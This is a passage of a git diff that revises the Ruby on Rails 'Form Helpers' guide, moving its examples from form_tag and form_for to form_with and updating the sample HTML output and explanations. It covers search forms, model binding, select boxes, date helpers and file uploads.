+`config.before_configuration { puts 'I am called before any initializers' }`
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 8ad76ad01e..3660772fb9 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -1,7 +1,7 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
-Form Helpers
-============
+Action View Form Helpers
+========================
Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of the need to handle form control naming and its numerous attributes. Rails does away with this complexity by providing view helpers for generating form markup. However, since these helpers have different use cases, developers need to know the differences between the helper methods before putting them to use.
@@ -22,27 +22,25 @@ NOTE: This guide is not intended to be a complete documentation of available for
Dealing with Basic Forms
------------------------
-The most basic form helper is `form_tag`.
+The main form helper is `form_with`.
```erb
-<%= form_tag do %>
+<%= form_with do %>
Form contents
<% end %>
```
-When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+When called without arguments like this, it creates a form tag which, when submitted, will POST to the current page. For instance, assuming the current page is a home page, the generated HTML will look like this:
```html
-<form accept-charset="UTF-8" action="/" method="post">
- <input name="utf8" type="hidden" value="&#x2713;" />
+<form accept-charset="UTF-8" action="/" data-remote="true" method="post">
<input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
Form contents
</form>
```
-You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element with the name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST".
-
-The second input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf).
+You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because non-GET form cannot be successfully submitted without it.
+The hidden input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Securing Rails Applications](security.html#cross-site-request-forgery-csrf) guide.
### A Generic Search Form
@@ -53,10 +51,10 @@ One of the most basic forms you see on the web is a search form. This form conta
* a text input element, and
* a submit element.
-To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+To create this form you will use `form_with`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
```erb
-<%= form_tag("/search", method: "get") do %>
+<%= form_with(url: "/search", method: "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
@@ -66,37 +64,18 @@ To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and
This will generate the following HTML:
```html
-<form accept-charset="UTF-8" action="/search" method="get">
- <input name="utf8" type="hidden" value="&#x2713;" />
+<form accept-charset="UTF-8" action="/search" data-remote="true" method="get">
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
- <input name="commit" type="submit" value="Search" />
+ <input name="commit" type="submit" value="Search" data-disable-with="Search" />
</form>
```
-TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-
-Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
-
-IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
-
-### Multiple Hashes in Form Helper Calls
-
-The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-
-As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
-
-```ruby
-form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
-```
+TIP: Passing `url: my_specified_path` to `form_with` tells the form where to make the request. However, as explained below, you can also pass ActiveRecord objects to the form.
-Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+TIP: For every form input, an ID attribute is generated from its name (`"q"` in above example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
-```ruby
-form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
-# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
-```
+IMPORTANT: Use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
### Helpers for Generating Form Elements
@@ -110,7 +89,7 @@ value entered by the user for that field. For example, if the form contains
`<%= text_field_tag(:query) %>`, then you would be able to get the value of this
field in the controller with `params[:query]`.
-When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in chapter [Understanding Parameter Naming Conventions](#understanding-parameter-naming-conventions) of this guide. For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
#### Checkboxes
@@ -142,7 +121,7 @@ Radio buttons, while similar to checkboxes, are controls that specify a set of o
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
-<%= label_tag(:age_adult, "I'm over 21") %>
+<%= label_tag(:age_adult, "I am over 21") %>
```
Output:
@@ -151,7 +130,7 @@ Output:
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
-<label for="age_adult">I'm over 21</label>
+<label for="age_adult">I am over 21</label>
```
As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (`age`), the user will only be able to select one of them, and `params[:age]` will contain either `"child"` or `"adult"`.
@@ -164,8 +143,8 @@ make it easier for users to click the inputs.
Other form controls worth mentioning are textareas, password fields,
hidden fields, search fields, telephone fields, date fields, time fields,
-color fields, datetime fields, datetime-local fields, month fields, week fields,
-URL fields, email fields, number fields and range fields:
+color fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields, and range fields:
```erb
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -208,14 +187,14 @@ Output:
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
-month, week, URL, email, number and range inputs are HTML5 controls.
+month, week, URL, email, number, and range inputs are HTML5 controls.
If you require your app to have a consistent experience in older browsers,
you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is
[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of
detected HTML5 features.
-TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Securing Rails Applications](security.html#logging) guide.
Dealing with Model Objects
--------------------------
@@ -233,10 +212,10 @@ For these helpers the first argument is the name of an instance variable and the
will produce output similar to
```erb
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
+<input id="person_name" name="person[name]" type="text" value="Henry" />
```
-Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`.
WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
@@ -244,7 +223,7 @@ Rails provides helpers for displaying the validation errors associated with a mo
### Binding a Form to an Object
-While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_with` with `:model` does.
Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
@@ -254,10 +233,10 @@ def new
end
```
-The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+The corresponding view `app/views/articles/new.html.erb` using `form_with` looks like this:
```erb
-<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+<%= form_with model: @article, class: "nifty_form" do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, size: "60x12" %>
<%= f.submit "Create" %>
@@ -267,30 +246,34 @@ The corresponding view `app/views/articles/new.html.erb` using `form_for` looks
There are a few things to note here:
* `@article` is the actual object being edited.
-* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
-* The `form_for` method yields a **form builder** object (the `f` variable).
+* There is a single hash of options. HTML options (except `id` and `class`) are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The scope attribute will be prefixed with underscore on the generated HTML id.
+* The `form_with` method yields a **form builder** object (the `f` variable).
+* If you wish to direct your form request to a particular url, you would use `form_with url: my_nifty_url_path` instead. To see more in depth options on what `form_with` accepts be sure to [check out the API documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).
* Methods to create form controls are called **on** the form builder object `f`.
The resulting HTML is:
```html
-<form accept-charset="UTF-8" action="/articles" method="post" class="nifty_form">
- <input id="article_title" name="article[title]" type="text" />
- <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
- <input name="commit" type="submit" value="Create" />
+<form class="nifty_form" action="/articles" accept-charset="UTF-8" data-remote="true" method="post">
+ <input type="hidden" name="authenticity_token" value="NRkFyRWxdYNfUg7vYxLOp2SLf93lvnl+QwDWorR42Dp6yZXPhHEb6arhDOIWcqGit8jfnrPwL781/xlrzj63TA==" />
+ <input type="text" name="article[title]" id="article_title" />
+ <textarea name="article[body]" id="article_body" cols="60" rows="12"></textarea>
+ <input type="submit" name="commit" value="Create" data-disable-with="Create" />
</form>
```
-The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the [parameter_names section](#understanding-parameter-naming-conventions).
+The object passed as `:model` in `form_with` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in chapter [Understanding Parameter Naming Conventions](#understanding-parameter-naming-conventions) of this guide.
+
+TIP: Conventionally your inputs will mirror model attributes. However, they don't have to! If there is other information you need you can include it in your form just as with attributes and access it via `params[:article][:my_nifty_non_attribute_input]`.
The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so:
```erb
-<%= form_for @person, url: {action: "create"} do |person_form| %>
+<%= form_with model: @person do |person_form| %>
<%= person_form.text_field :name %>
- <%= fields_for @person.contact_detail do |contact_detail_form| %>
+ <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %>
<%= contact_detail_form.text_field :phone_number %>
<% end %>
<% end %>
@@ -299,13 +282,14 @@ You can create a similar binding without actually creating `<form>` tags with th
which produces the following output:
```html
-<form accept-charset="UTF-8" action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" type="text" />
- <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+<form action="/people" accept-charset="UTF-8" data-remote="true" method="post">
+ <input type="hidden" name="authenticity_token" value="bL13x72pldyDD8bgtkjKQakJCpd4A8JdXGbfksxBDHdf1uC0kCMqe2tvVdUYfidJt0fj3ihC4NxiVHv8GVYxJA==" />
+ <input type="text" name="person[name]" id="person_name" />
+ <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" />
</form>
```
-The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+The object yielded by `fields_for` is a form builder like the one yielded by `form_with`.
### Relying on Record Identification
@@ -315,62 +299,59 @@ The Article model is directly available to users of the application, so - follow
resources :articles
```
-TIP: Declaring a resource has a number of side effects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
+TIP: Declaring a resource has a number of side effects. See [Rails Routing from the Outside In](routing.html#resource-routing-the-rails-default) guide for more information on setting up and using resources.
-When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+When dealing with RESTful resources, calls to `form_with` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
```ruby
## Creating a new article
# long-style:
-form_for(@article, url: articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
+form_with(model: @article, url: articles_path)
+short-style:
+form_with(model: @article)
## Editing an existing article
# long-style:
-form_for(@article, url: article_path(@article), html: {method: "patch"})
+form_with(model: @article, url: article_path(@article), method: "patch")
# short-style:
-form_for(@article)
+form_with(model: @article)
```
-Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+Notice how the short-style `form_with` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to, and the name based on the class of the object.
-Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify `:url`, and `:scope` (the model name) explicitly.
#### Dealing with Namespaces
-If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+If you have created namespaced routes, `form_with` has a nifty shorthand for that too. If your application has an admin namespace then
```ruby
-form_for [:admin, @article]
+form_with model: [:admin, @article]
```
will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
```ruby
-form_for [:admin, :management, @article]
+form_with model: [:admin, :management, @article]
```
-For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+For more information on Rails' routing system and the associated conventions, please see [Rails Routing from the Outside In](routing.html) guide.
### How do forms with PATCH, PUT, or DELETE methods work?
-The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH", "PUT", and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
```ruby
-form_tag(search_path, method: "patch")
+form_with(url: search_path, method: "patch")
```
-output:
+Output:
```html
-<form accept-charset="UTF-8" action="/search" method="post">
+<form accept-charset="UTF-8" action="/search" data-remote="true" method="post">
<input name="_method" type="hidden" value="patch" />
- <input name="utf8" type="hidden" value="&#x2713;" />
<input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
...
</form>
@@ -378,6 +359,8 @@ output:
When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example).
+IMPORTANT: All forms using `form_with` implement `remote: true` by default. These forms will submit data using an XHR (Ajax) request. To disable this include `local: true`. To dive deeper see [Working with JavaScript in Rails](working_with_javascript_in_rails.html#remote-elements) guide.
+
Making Select Boxes with Ease
-----------------------------
@@ -389,8 +372,7 @@ Here is what the markup might look like:
<select name="city_id" id="city_id">
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
- ...
- <option value="12">Berlin</option>
+ <option value="3">Berlin</option>
</select>
```
@@ -401,19 +383,21 @@ Here you have a list of cities whose names are presented to the user. Internally
The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
```erb
-<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+<%= select_tag(:city_id, raw('<option value="1">Lisbon</option><option value="2">Madrid</option><option value="3">Berlin</option>')) %>
```
This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
```html+erb
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %>
+```
-output:
+Output:
+```html
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
-...
+<option value="3">Berlin</option>
```
The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
@@ -427,48 +411,61 @@ Knowing this, you can combine `select_tag` and `options_for_select` to achieve t
`options_for_select` allows you to pre-select an option by passing its value.
```html+erb
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]], 2) %>
+```
-output:
+Output:
+```html
<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
-...
+<option value="3">Berlin</option>
```
Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
-
You can add arbitrary attributes to the options using hashes:
```html+erb
<%= options_for_select(
[
['Lisbon', 1, { 'data-size' => '2.8 million' }],
- ['Madrid', 2, { 'data-size' => '3.2 million' }]
+ ['Madrid', 2, { 'data-size' => '3.2 million' }],
+ ['Berlin', 3, { 'data-size' => '3.4 million' }]
], 2
) %>
+```
-output:
+Output:
+```html
<option value="1" data-size="2.8 million">Lisbon</option>
<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
-...
+<option value="3" data-size="3.4 million">Berlin</option>
```
-### Select Boxes for Dealing with Models
+### Select Boxes for Dealing with Model Objects
+
+In most cases form controls will be tied to a specific model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with a model object drop the `_tag` suffix from `select_tag`:
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+If your controller has defined `@person` and that person's city_id is 2:
```ruby
-# controller:
@person = Person.new(city_id: 2)
```
```erb
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %>
+```
+
+will produce output similar to
+
+```html
+<select name="person[city_id]" id="person_city_id">
+ <option value="1">Lisbon</option>
+ <option value="2" selected="selected">Madrid</option>
+ <option value="3">Berlin</option>
+</select>
```
Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
@@ -476,21 +473,26 @@ Notice that the third parameter, the options array, is the same kind of argument
As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
```erb
-# select on a form builder
-<%= f.select(:city_id, ...) %>
+<%= form_with model: @person do |person_form| %>
+ <%= person_form.select(:city_id, [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]]) %>
+<% end %>
```
You can also pass a block to `select` helper:
```erb
-<%= f.select(:city_id) do %>
- <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
- <%= content_tag(:option, c.first, value: c.last) %>
+<%= form_with model: @person do |person_form| %>
+ <%= person_form.select(:city_id) do %>
+ <% [['Lisbon', 1], ['Madrid', 2], ['Berlin', 3]].each do |c| %>
+ <%= content_tag(:option, c.first, value: c.last) %>
+ <% end %>
<% end %>
<% end %>
```
-WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
+WARNING: If you are using `select` or similar helpers to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself.
+
+WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one, and `multiple` is not true.
### Option Tags from a Collection of Arbitrary Objects
@@ -507,7 +509,7 @@ This is a perfectly valid solution, but Rails provides a less verbose alternativ
<%= options_from_collection_for_select(City.all, :id, :name) %>
```
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+As the name implies, this only generates option tags. To generate a working select box you would need to use `collection_select`:
```erb
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
@@ -516,38 +518,38 @@ As the name implies, this only generates option tags. To generate a working sele
As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be:
```erb
-<%= f.collection_select(:city_id, City.all, :id, :name) %>
+<%= form_with model: @person do |person_form| %>
+ <%= person_form.collection_select(:city_id, City.all, :id, :name) %>
+<% end %>
```
-To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
-
-NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+NOTE: Pairs passed to `options_for_select` should have the text first and the value second, however with `options_from_collection_for_select` should have the value method first and the text method second.
### Time Zone and Country Select
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined [`ActiveSupport::TimeZone`](http://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html) objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
```erb
<%= time_zone_select(:person, :time_zone) %>
```
-There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select) to learn about the possible arguments for these two methods.
-Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select).
Using Date and Time Form Helpers
--------------------------------
You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
-* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Dates and times are not representable by a single input element. Instead, you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
### Barebones Helpers
-The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
+The `select_*` family of helpers take as their first argument an instance of `Date`, `Time`, or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
```erb
<%= select_date Date.today, prefix: :start_date %>
@@ -556,12 +558,15 @@ The `select_*` family of helpers take as their first argument an instance of `Da
outputs (with actual option values omitted for brevity)
```html
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
+<select id="start_date_year" name="start_date[year]">
+</select>
+<select id="start_date_month" name="start_date[month]">
+</select>
+<select id="start_date_day" name="start_date[day]">
+</select>
```
-The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time`, or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
```ruby
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
@@ -581,9 +586,12 @@ The model object helpers for dates and times submit parameters with special name
outputs (with actual option values omitted for brevity)
```html
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+<select id="person_birth_date_1i" name="person[birth_date(1i)]">
+</select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]">
+</select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]">
+</select>
```
which results in a `params` hash like
@@ -600,68 +608,60 @@ Both families of helpers use the same core set of functions to generate the indi
As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
-NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
### Individual Components
Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
-The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
+The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time`, or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
```erb
<%= select_year(2009) %>
-<%= select_year(Time.now) %>
+<%= select_year(Time.new(2009)) %>
```
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+will produce the same output and the value chosen by the user can be retrieved by `params[:date][:year]`.
Uploading Files
---------------
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's enctype attribute **must** be set to "multipart/form-data". If you use `form_with` with `:model`, this is done automatically. If you use `form_with` without `:model`, you must set it yourself, as per the following example.
The following two forms both upload a file.
```erb
-<%= form_tag({action: :upload}, multipart: true) do %>
+<%= form_with(url: {action: :upload}, multipart: true) do %>
<%= file_field_tag 'picture' %>
<% end %>
-<%= form_for @person do |f| %>
+<%= form_with model: @person do |f| %>
<%= f.file_field :picture %>
<% end %>
```
-Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
### What Gets Uploaded
